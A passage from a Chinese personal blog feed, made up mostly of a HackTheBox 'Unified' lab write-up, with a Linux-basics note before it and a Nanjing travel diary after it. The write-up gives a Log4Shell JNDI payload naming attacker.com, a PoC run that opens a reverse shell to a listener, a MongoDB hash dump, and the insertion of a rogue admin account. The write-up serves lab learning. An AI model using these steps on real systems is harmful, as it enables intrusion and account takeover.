等特殊位</li></ul><p>常见特殊权限位：</p><ul><li><code>setuid</code></li><li><code>setgid</code></li><li><code>sticky bit</code></li><li>典型例子：<code>/tmp</code> 常见权限为 <code>1777</code></li></ul><h3 id="su"><a href="#su" class="headerlink" title="su"></a><code>su</code></h3><ul><li>作用：切换用户身份。</li><li>常见用法：<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">su user2</span><br><span class="line">su - user2</span><br><span class="line">su -c <span class="string">&quot;whoami&quot;</span> user2</span><br></pre></td></tr></table></figure></li><li>说明：<code>su -</code> 会使用目标用户的登录环境，更接近真实登录状态。</li></ul><h3 id="umask"><a href="#umask" class="headerlink" title="umask"></a><code>umask</code></h3><ul><li>作用：控制新建文件和目录的默认权限。</li><li>常见用法：<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">umask</span></span><br><span class="line"><span class="built_in">umask</span> -S</span><br><span class="line"><span class="built_in">umask</span> 022</span><br></pre></td></tr></table></figure></li><li>理解方式：</li><li><code>umask 022</code> 的核心含义是去掉 group 和 other 的写权限</li><li>新目录常见结果是 <code>755</code></li><li>新普通文件常见结果是 <code>644</code></li></ul><h2 id="八、学习建议（靶场向）"><a href="#八、学习建议（靶场向）" class="headerlink" title="八、学习建议（靶场向）"></a>八、学习建议（靶场向）</h2><ul><li>先掌握目录与文件操作：<code>ls/cd/pwd/cat</code></li><li>再掌握检索与过滤：<code>find/grep/wc</code></li><li>最后重点理解权限和身份切换：<code>chmod/su/umask</code></li><li>任何危险命令（如 <code>rm -rf</code>）执行前先 <code>pwd</code> 确认路径</li></ul><hr><p>如果你也在刷 TryHackMe，建议把每次机器里用到的命令按“信息收集 -&gt; 利用 -&gt; 提权”三段整理，复盘效率会高很多。</p>]]></content>
    
    
    <summary type="html">基于个人学习笔记整理的 Linux 基础内容，涵盖常用命令、查找过滤、重定向、权限模型，以及 chmod、su、umask 的实战理解。</summary>
    
    
    
    <category term="tryhackme" scheme="https://nuyoah.space/categories/tryhackme/"/>
    
    
    <category term="THM" scheme="https://nuyoah.space/tags/THM/"/>
    
    <category term="Linux" scheme="https://nuyoah.space/tags/Linux/"/>
    
    <category term="命令行" scheme="https://nuyoah.space/tags/%E5%91%BD%E4%BB%A4%E8%A1%8C/"/>
    
    <category term="文件权限" scheme="https://nuyoah.space/tags/%E6%96%87%E4%BB%B6%E6%9D%83%E9%99%90/"/>
    
    <category term="信息安全基础" scheme="https://nuyoah.space/tags/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E5%9F%BA%E7%A1%80/"/>
    
  </entry>
  
  <entry>
    <title>[HTB] Unified 渗透测试笔记</title>
    <link href="https://nuyoah.space/posts/unified-htb-log4j.html"/>
    <id>https://nuyoah.space/posts/unified-htb-log4j.html</id>
    <published>2025-08-24T14:00:00.000Z</published>
    <updated>2026-09-09T03:43:28.172Z</updated>
    
    <content type="html"><![CDATA[<h1 id="HTB-Unified-靶机渗透测试"><a href="#HTB-Unified-靶机渗透测试" class="headerlink" title="HTB Unified 靶机渗透测试"></a>HTB Unified 靶机渗透测试</h1><h2 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h2><h3 id="目标信息"><a href="#目标信息" class="headerlink" title="目标信息"></a>目标信息</h3><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756042455281_3d4e0777e816742d85688cfad13a8985.png" alt=""><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756042739584_029bccc285ef12dd13d2b7c501b6336f.png" alt="unified靶机信息"></p><h3 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h3><p>使用nmap扫描目标主机的IP。（这里看了下官方wp,有的使用的是rustscan,似乎比nmap快）<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sV 10.129.109.6</span><br></pre></td></tr></table></figure><br>发现开放如下端口：<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756043030222_6227b15d7601b456bb414a1b5c31852a.png" alt="扫描结果"></p><p>这里发现了8443端口，居然是nagios-nsca服务，这个浏览器一搜就是爆出来的各种漏洞，例如CVE-2023-40931,CVE-2023-40934<br><details><summary>Nagios NSCA 服务介绍</summary><p>Nagios NSCA（Nagios Service Check Acceptor）是 Nagios 的一个组件，<br>用于远程主机向 Nagios 主服务传递监控结果。  </p><ul><li><strong>作用</strong>: 允许分布式监控，把结果集中汇报给 Nagios 服务器  </li><li><strong>端口</strong>: 默认 5667，但靶机这里运行在 <strong>8443</strong> 上  </li><li><strong>风险</strong>: 历史上有很多漏洞，比如命令注入、认证绕过等<br>在渗透测试中，发现 NSCA 服务几乎就意味着存在潜在利用点。</li></ul><p>🔗 <a href="https://github.com/NagiosEnterprises/nsca">官方 GitHub 仓库</a></p></details></p><p>靶场任务中在端口8443上运行的软件标题和运行的软件版本通过curl命令获取<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -k https://10.129.106.9:8443/manage/account/login</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756044142875_cd082dcf8e7b87d0b42d48ea48ddb8f0.png" alt="curl获取服务"><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756044287390_da247c75ccd94935bed14bb17cdea71a.png" alt="curl获取版本"><br>也有更简单的办法就是由于开启了https服务，可以直接浏览器访问，注意网站favicon即可。</p><h3 id="漏洞探测"><a href="#漏洞探测" class="headerlink" title="漏洞探测"></a>漏洞探测</h3><p>已经发现了unifi运行程序的版本号是6.4.54，接下来直接上edge(看个人)搜索是否已经存在相关漏洞，于是发现存在远程代码执行漏洞，编号为CVE-2021-44228(Log4jshell)<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756044755856_55e06e07a11cf57f411a2b60c19cb865.png" alt="Log4jshell"><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756046893849_28ce3d11cb944cb1511dd3055ca248b8.png" alt="漏洞常用协议"></p><details><summary>CVE-2021-44228 (Log4Shell) 漏洞信息</summary><ul><li><strong>漏洞编号</strong>: CVE-2021-44228  </li><li><strong>影响版本</strong>: Apache Log4j 2.0-beta9 ~ 2.14.1  </li><li><strong>漏洞类型</strong>: 远程代码执行 (RCE)  </li><li><strong>CVSS v3.1 评分</strong>: 10.0 (最高危等级)  </li></ul><p><strong>原理</strong>:<br>攻击者构造 <code>${jndi:ldap://attacker.com/a}</code> 这样的 payload，当被写入日志时，Log4j 会通过 JNDI 访问远程服务器并加载恶意代码，从而实现 RCE。  </p><p><strong>修复方案</strong>:  </p><ol><li>升级 Log4j 至 2.16.0+  </li><li>临时缓解：<code>-Dlog4j2.formatMsgNoLookups=true</code> 或删除 JndiLookup.class  </li></ol><p>🔗 <a href="https://logging.apache.org/log4j/2.x/security.html">官方公告</a><br>🔗 <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228">NVD 漏洞库</a><br>🔗 <a href="https://github.com/puzzlepeaches/Log4jUnifi">Log4jUnifi GitHub PoC</a>  </p></details><h2 id="前渗透"><a href="#前渗透" class="headerlink" title="前渗透"></a>前渗透</h2><h3 id="Log4j-漏洞利用"><a href="#Log4j-漏洞利用" class="headerlink" title="Log4j 漏洞利用"></a>Log4j 漏洞利用</h3><p>在渗透过程中发现存在 <strong>Log4j 漏洞</strong>，相关利用 PoC 可以参考<br><a href="https://github.com/puzzlepeaches/Log4jUnifi">Log4jUnifi GitHub 仓库</a>。</p><p>接下来只需要按照上面说明对相应的环境进行搭建即可。<br>这里可以采用两种办法，一种是手动安装，另一种是docker安装</p><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">手动安装</button><button type="button" class="tab">docker安装</button></div><div class="tab-contents"><div class="tab-item-content active"><p>⚠️ 注意：使用手动安装的时候kali会给出警告，关于pip可能影响系统环境，导致系统冲突，如果是这样，建议和我一样使用虚拟环境<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756048217421_09578b350edb7ffb8154432e516e05ec.png" alt="pip环境冲突"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 更新系统</span></span><br><span class="line"><span class="built_in">sudo</span> apt update &amp;&amp; <span class="built_in">sudo</span> apt upgrade -y</span><br><span class="line"></span><br><span class="line"><span class="comment"># 安装依赖</span></span><br><span class="line"><span class="built_in">sudo</span> apt install -y openjdk-11-jdk maven</span><br><span class="line"></span><br><span class="line"><span class="comment"># 克隆 GitHub 存储库并安装所有 python 要求：</span></span><br><span class="line">git <span class="built_in">clone</span> --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \</span><br><span class="line">    &amp;&amp; <span class="built_in">cd</span> Log4jUnifi &amp;&amp; pip3 install -r requirements.txt</span><br><span class="line"></span><br><span class="line"><span class="comment">#命令编译 Rogue-Jndi 项目</span></span><br><span class="line">mvn package -f utils/rogue-jndi/</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><p>⚠️ 注意：在某些情况下，使用 Docker 安装可能会<strong>阻断 VPN 流量</strong>，导致抓取不到目标数据。<br>如果遇到这种情况，建议切换回 <strong>手动安装方式</strong>，避免网络被容器隔离。<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756048217421_09578b350edb7ffb8154432e516e05ec.png" alt="docker阻断"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 拉取项目镜像</span></span><br><span class="line">docker pull puzzlepeaches/log4junifi:latest</span><br><span class="line"></span><br><span class="line"><span class="comment"># 运行容器</span></span><br><span class="line">docker run -it puzzlepeaches/log4junifi:latest /bin/bash</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><p>我这里本来打算使用的是这两种方式，但由于梯子的原因导致一直抓取不到，于是使用了另一种办法，创建了一个虚拟环境<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">python3 -m venv venv</span><br><span class="line"><span class="built_in">source</span> venv/bin/activate</span><br><span class="line">pip install --upgrade pip</span><br><span class="line">pip install -r requirements.txt</span><br></pre></td></tr></table></figure><br>这里下载时间蛮久的，不知道是网络原因还是什么原因。<br>此外需要注意的，在抓取该poc仓库时候，千万千万要注意其中的utils文件夹中的rogue-jndi项目引用的是另一个仓库，我这里是抓取了另一个仓库，并且把其中的pom.xml文件复制过来了。否则运行会报错</p><h2 id="获取shell"><a href="#获取shell" class="headerlink" title="获取shell"></a>获取shell</h2><p>在有了正确的环境配置后，就可以轻松的利用poc使用代码进行远程执行。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 exploit.py -u https://10.129.106.9:8443 -i 10.10.16.14 -p 4444</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756049243444_bba6ed42bd31043551f90970a6b99698.png" alt="执行"><br>同时开启监听<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvnp 4444</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756049253670_2e73c28341eb1b5e1537b8bef9548c7e.png" alt="顺利生成外壳"></p><p>这里发现uid=999 gid=999，说明肯定不是root权限运行<br>但是我们可以通过查找服务进程来找到mongo的端口号</p><h2 id="提权"><a href="#提权" class="headerlink" title="提权"></a>提权</h2><h3 id="后渗透"><a href="#后渗透" class="headerlink" title="后渗透"></a>后渗透</h3><h4 id="方法一：获取并破解哈希"><a href="#方法一：获取并破解哈希" class="headerlink" title="方法一：获取并破解哈希"></a>方法一：获取并破解哈希</h4><p>使用反向shell执行以下命令<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mongo --port 27117 ace --<span class="built_in">eval</span> <span class="string">&quot;db.admin.find().forEach(printjson);&quot;</span></span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756049603257_1c9157c4573f6549c62f8f7c1ed18dcf.png" alt="获取hash"><br>接下来就是很简单的丢到hashcat中去，但是由于这里是SHA-512加密的哈希值，所以破解需要很长一段时间，这里就没有进行完成。</p><h4 id="方法二：添加管理员"><a href="#方法二：添加管理员" class="headerlink" title="方法二：添加管理员"></a>方法二：添加管理员</h4><p>首先为自己的账户生成密码哈希，可以使用mkpasswd本地生成<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mkpasswd -m sha-512 pass</span><br></pre></td></tr></table></figure><br>接下来将生成的哈希填入即将在mongodb命令中使用的哈希值<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mongo --port 27117 ace --<span class="built_in">eval</span> <span class="string">&#x27;db.admin.insert(&#123; &quot;email&quot; : &quot;null@localhost.local&quot;, &quot;last_site_name&quot; : &quot;default&quot;, &quot;name&quot; : &quot;unifi-admin&quot;, &quot;time_created&quot; : NumberLong(100019800), &quot;x_shadow&quot; : &quot;$6$hBZE67014v.jFfqG$5cMXEP1Kd4AlAItqIBOWGZlXUgjslYIDIO3Gp5jDtyXeU6tsqr5JBIWVnwuINEgKoXSoOKsoT73ml7U11XU6S0&quot; &#125;)&#x27;</span></span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756050143471_cac294237a31c51f522d9b519b327531.png" alt="添加管理员"></p><h2 id="验证并获取flag"><a href="#验证并获取flag" class="headerlink" title="验证并获取flag"></a>验证并获取flag</h2><h3 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h3><p>直接登入浏览器，输入自己添加的管理员账号和密码，直接从后台管理系统获得flag<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/unified/1756050368105_20641f63af4ccfad1f77f908fc6375e9.png" alt="获取flag"><br>这里我的浏览器不知道为什么没有返回后台管理，但是url已经顺利跳转过来了，估计是网络原因，所以我就做到这里停下了。</p><h2 id="总结反思"><a href="#总结反思" class="headerlink" title="总结反思"></a>总结反思</h2><p>本次渗透测试最主要的大概是第一次接触到了Log4j漏洞，之前也听说过这个漏洞，但是没有实际操作过，这次通过实战加深了对该漏洞的理解。<br>参考文章:</p><ul><li><a href="https://medium.com/@aniketdas07770/hackthebox-unified-writeup-5e097bdbf64d">HackTheBox Unified Writeup</a>  </li><li><a href="https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi">Another Log4j on the Fire – Unifi</a></li></ul>]]></content>
    
    
    <summary type="html">HTB Unified 靶机渗透测试详细记录，包含信息收集、漏洞探测、Log4j 漏洞利用、环境搭建和提权全过程。</summary>
    
    
    
    <category term="htb" scheme="https://nuyoah.space/categories/htb/"/>
    
    
    <category term="HTB" scheme="https://nuyoah.space/tags/HTB/"/>
    
    <category term="靶场渗透测试" scheme="https://nuyoah.space/tags/%E9%9D%B6%E5%9C%BA%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
    <category term="Log4j" scheme="https://nuyoah.space/tags/Log4j/"/>
    
  </entry>
  
  <entry>
    <title>南京之旅</title>
    <link href="https://nuyoah.space/posts/nanjingzhilv.html"/>
    <id>https://nuyoah.space/posts/nanjingzhilv.html</id>
    <published>2025-08-20T04:00:00.000Z</published>
    <updated>2025-08-20T04:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="南京之旅"><a href="#南京之旅" class="headerlink" title="南京之旅"></a>南京之旅</h1><p>本来打算穷游南京的，于是抢了个傍晚火车票，结果郑州东站高铁延误，到达南京已经是凌晨3点了，最倒霉的是，南京站地铁最早一班是5点15发车，于是我在凌晨天没亮时，坐在玄武湖畔的丝丝冷风中遥望对面的紫峰大厦……<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755662232144_89bf4441f384edb262afc28f5382ae7a.jpg" alt="凌晨的南京"></p><h2 id="住宿"><a href="#住宿" class="headerlink" title="住宿"></a>住宿</h2><p>在住宿上我是提前做了很多的攻略的，最后选择了一家性价比极高的青旅，之所以选择青旅不仅是因为价钱便宜，更重要的是我看网络上很多up主都说青旅的社交属性，所以我抱着交友一起游玩南京的心态，选择了南京的旷野青年旅店。<br>地点位于南京新街口，新街口区在南京算是比较繁华的地带了，出行非常方便，而且附近的景点也是相当之多。<br>话虽如此，但是我到了新街口才发现我的订房入住时间是下午2点…… 也就是说，我5:30——14：00之间的时间就只能在外面游荡了，大多数的店铺又没有开门，所以我第一选择就是去南京大学附近（大学附近岂能没有过夜的网吧！），<br>而且我也顺利的找到了一家名为“踏浪”的网吧，前台小姐姐很好说话，网管打扫也很勤快，环境也不错(睡不着)，但是包间一小时13大洋，（不知道是我太久没上过网还是怎么回事，我记得以前包夜不是才8块吗？）<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755662237848_4a80cb3f58bd83c3eef0879cb7471577.jpg" alt="踏浪网吧"></p><p>到了下午2点，我动身前往旷野青年旅店，地点是二楼，且是交通口，还是比较方便找的。<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755662272806_c39e1c547665bad81c0aa2247fcee5f3.jpg" alt="旷野青年旅店门口"><br>里面的环境卫生是很干净的，而且风格上相较于普通酒店，更多的是年轻人的气息（不然为什么叫青旅呢？笑）<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755662283114_a128b6cdaf052ccdfad90641578a81ff.jpg" alt="旷野青年旅店内部1"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755662307519_acebca1c393e21166f0222e2f55de67e.jpg" alt="旷野青年旅店内部2"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755662310596_e19fbafdbf1af9144ea134d1f5b09437.jpg" alt="旷野青年旅店内部3"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755662320339_6c97da760e316af610b51952c3143ef9.jpg" alt="旷野青年旅店内部4"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755662323375_4bdc27ee9f67afc2ff739c20f9683950.jpg" alt="旷野青年旅店内部5"><br>旷野的夕阳<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755662333503_d74d3288b8dd61880448bd2965e004f9.jpg" alt="旷野青年旅店内部6"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755662333502_2a1e42d594af4758eb90c052726122d1.jpg" alt="旷野青年旅店内部7"><br>总体来说，旷野青年旅社是一个非常适合年轻人的地方，环境舒适，价格合理，社交氛围也非常棒，包括哪里的美食以及游玩搭子都可以wx群去找。</p><!-- 加粗 + 渐变色 --><p><span style="font-weight:bold; background: linear-gradient(to right, #ff6a00, #ee0979); -webkit-background-clip: text; color: transparent;"><br>  人生何处不是旷野</span></p><h2 id="吃"><a href="#吃" class="headerlink" title="吃"></a>吃</h2><h3 id="老潘记鸭血粉丝汤"><a href="#老潘记鸭血粉丝汤" class="headerlink" title="老潘记鸭血粉丝汤"></a>老潘记鸭血粉丝汤</h3><p>说起来吃的就搞笑，在网吧我搜了一下当地美食，完事好多网红测评的小潘记鸭血粉丝汤，还有大潘记（听说是一对xd店），于是我的南京第一顿早餐就赶了两趟地铁，步行了10多分钟，找到了大潘记（小潘记关门装修），然后点了一份豪华顶配鸭血粉丝汤，如下：<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755665563186_d040c180bd7724aed8cf8ecc43449160.jpg" alt="豪华顶配鸭血粉丝汤"><br>不知道是不是因为我吃不惯肝的原因，味道很苦，然后，吃了两口就想吐，整个碗里面最好吃的是两半卤蛋……   -35</p><h3 id="味千拉面"><a href="#味千拉面" class="headerlink" title="味千拉面"></a>味千拉面</h3><p>早上吃的鸭血粉丝汤，到了中午都没想吃饭，我只能说味道一言难尽，而且，美食这种东西最好还是别看网红视频了。<br>到了晚上，就在旅馆附近找了一家面馆——“味千拉面”，（主要是南阳理工附近的日式拉面属实难吃，纯纯调料面）日式风格的装修，<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755665582591_68fec04f188be76ab0890a26daa35f99.jpg" alt="味千拉面店"><br>一份拉面一份鸡腿肉，味道是非常可以的，也很符合这个价格。<br>拉面是可以免费续一次面的，所以并不需要担心吃不饱之类的。<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755665579929_e1810ee3ce3705ffa7735cdfd4da4921.jpg" alt="味千拉面"><br>这个茶水没喝出来什么茶种，味道有点苦。<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755665582591_68fec04f188be76ab0890a26daa35f99.jpg" alt="味千拉面"></p><h3 id="回味鸭血粉丝汤"><a href="#回味鸭血粉丝汤" class="headerlink" title="回味鸭血粉丝汤"></a>回味鸭血粉丝汤</h3><p>回味鸭血粉丝汤的鲜肉汤包是相当的好吃，但是我还是吃不惯鸭血粉丝汤<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755665572102_d0d47b281db8f0c35ca267b3c041569f.jpg" alt="鲜肉汤包"></p><h3 id="老新隆牛肉锅贴"><a href="#老新隆牛肉锅贴" class="headerlink" title="老新隆牛肉锅贴"></a>老新隆牛肉锅贴</h3><p>新街口交叉口有一家老新隆牛肉锅贴，味道也是相当不错的。<br>一碗馄饨一份锅贴，算是来南京吃最好吃的一顿了。<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755665592780_d9a5190838eda69fb41f5a245741cfa5.jpg" alt="老新隆牛肉锅贴"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755665590274_d7df5e7d69a7a3b16a2fcad96026e0d1.jpg" alt="老新隆牛肉锅贴馄饨"></p><h2 id="游景点"><a href="#游景点" class="headerlink" title="游景点"></a>游景点</h2><h3 id="路上"><a href="#路上" class="headerlink" title="路上"></a>路上</h3><p><img src="https://img.nuyoah.icu/shuoshuo/img/1755670326426_b2a353718fc48ea770dac5b021eeb5b2.jpg" alt="路上"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670328743_f8ecc5ae07e1cec9f07b5b36eabb895c.jpg" alt="cat"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670324174_9ed4006540d7e7b89d97bd3dec757598.jpg" alt="啤酒交易所"></p><h3 id="南京大学"><a href="#南京大学" class="headerlink" title="南京大学"></a>南京大学</h3><p>南京大学鼓楼校区是真的非常有历史感，建筑风格古朴，环境静谧，路边的梧桐树笔直挺拔，同时给予道路大片绿荫。<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666728428_2b03629b108e40baf2f93e6d939c4222.jpg" alt="南京大学"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666739375_4520481e31a6202a661a68e42b74c299.jpg" alt="南京大学"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666747080_63cb51e7139c831f8ad8031259ced31b.jpg" alt="南京大学"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666751369_3d4c4f2e86001c460664db56ec5a71a8.jpg" alt="南京大学"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666758322_3163963c0c11a952a1e98fca60a0c686.jpg" alt="南京大学"></p><h3 id="夫子庙"><a href="#夫子庙" class="headerlink" title="夫子庙"></a>夫子庙</h3><p>人！ 人！ 人！<br>好多人！<br>我不想动！<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666935771_1e94c2e9563011f2575df0bf8f585438.jpg" alt="夫子庙"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666945290_041700fd5480fe743915d51c11ef9f43.jpg" alt="夫子庙"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666978728_c83bf99f9b9919a232416dd989657124.jpg" alt="夫子庙"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666963135_91997407ffaf488b3f7a974ca4c97807.jpg" alt="夫子庙"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666971261_255cdade02bfdc9d68bb251d72cb7f2f.jpg" alt="夫子庙"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666975196_eb9adf2f92c5203e105a7f2ea1251549.jpg" alt="夫子庙"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755666951421_a5d67d4ee50f9e9e9f1ef4f707733cce.jpg" alt="夫子庙"></p><h3 id="梧桐大道"><a href="#梧桐大道" class="headerlink" title="梧桐大道"></a>梧桐大道</h3><p>吊带美女，拍照网红，游行团队<br>人也好多，我真的蛮好奇的，为什么好多人朋友圈里面各种打卡照片里面没有行人？<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667296232_108bc0cc40fa2a58697b23bfd5ba0855.jpg" alt="梧桐大道"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667298476_7f3b3cfd38f1a4552da4cdb75bc026ee.jpg" alt="梧桐大道"></p><h3 id="先锋书店（五台山总店）"><a href="#先锋书店（五台山总店）" class="headerlink" title="先锋书店（五台山总店）"></a>先锋书店（五台山总店）</h3><p>书店真的好大，而且里面藏书真的好多，分类非常详细，好多港版书也是可以找的到的。<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667532804_a7ae2671a2c6e33bebabc0c0462fa134.jpg" alt="先锋书店"><br>经典十字架</p><p><img src="https://img.nuyoah.icu/shuoshuo/img/1755667541000_b7b87f865b04be24eb0db011d6c60b7c.jpg" alt="先锋书店"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667544530_7f7ac1e3ae4b9c581b578f7cf7262041.jpg" alt="先锋书店"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667553215_84d86b37d084bcd4c656acd1f21c4679.jpg" alt="先锋书店"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667574373_168fca2b91c877afc40b6d67785de555.jpg" alt="先锋书店"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667574372_25931f30580ba331d89d241ec9d0154d.jpg" alt="先锋书店"><br>这个版本的《唐吉诃德》封面设计非常漂亮</p><p><img src="https://img.nuyoah.icu/shuoshuo/img/1755667574377_7927ef5631c5e892e8bbf55b38db29d7.jpg" alt="先锋书店"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667574374_bcb84c95a190443cf392c7179b4eca39.jpg" alt="先锋书店"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667574370_51e44d92c69124fdb5068f7a55bd5bb1.jpg" alt="先锋书店"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667641848_d36951aa7fb5a138cbe67d74057db4ea.jpg" alt="先锋书店"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667613476_42f2c6f8ea684f6dafbe75e92101b363.jpg" alt="先锋书店"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755667613473_5028b0287f7a9f081201577762e4ed96.jpg" alt="先锋书店"></p><p><img src="https://img.nuyoah.icu/shuoshuo/img/1755667590565_f09f50e235bf5a607e8b192da9cdac8b.jpg" alt="先锋书店"><br>面对现实，忠于理想。<br>坚强起来才不会丧失温柔。<br>永远向前，直到胜利！</p><h3 id="德基"><a href="#德基" class="headerlink" title="德基"></a>德基</h3><p>确实像网上说的一样，每一层的厕所都不一样，但是总感觉去厕所拍照也太违和了吧，而且，我拍的照片全是人头涌动。<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670113117_50f83cdba5ad71dd2cb9a5e01d36e799.jpg" alt="德基wc"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670122063_5c814499d6b709bc2eca2743ac987913.jpg" alt="德基wc"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670116062_d570d6803b1fa169dcdeaffcd00e0bff.jpg" alt="德基wc"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670118287_633336b9ba7416cb63958c7e14d9d192.jpg" alt="德基wc"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670319221_f2ae36dffad08e1f510fc34e311522a2.jpg" alt="德基wc"></p><p>来点正常点的<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670315072_6fa73ebcffb7861f29e45b8cd49bfbe6.jpg" alt="德基"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670309752_f937ca4d5e1070ba665a695477d6933f.jpg" alt="德基"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670312442_a4b260020ff54107687dc7b39689ebe9.jpg" alt="德基"></p><h3 id="动漫周边"><a href="#动漫周边" class="headerlink" title="动漫周边"></a>动漫周边</h3><p>跟姚哥去的二次元中心，具体哪里我也忘了，好像新百附近？<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670494544_08ee8d743f5af0b78256ed6b85828ced.jpg" alt="动漫周边"><br><img 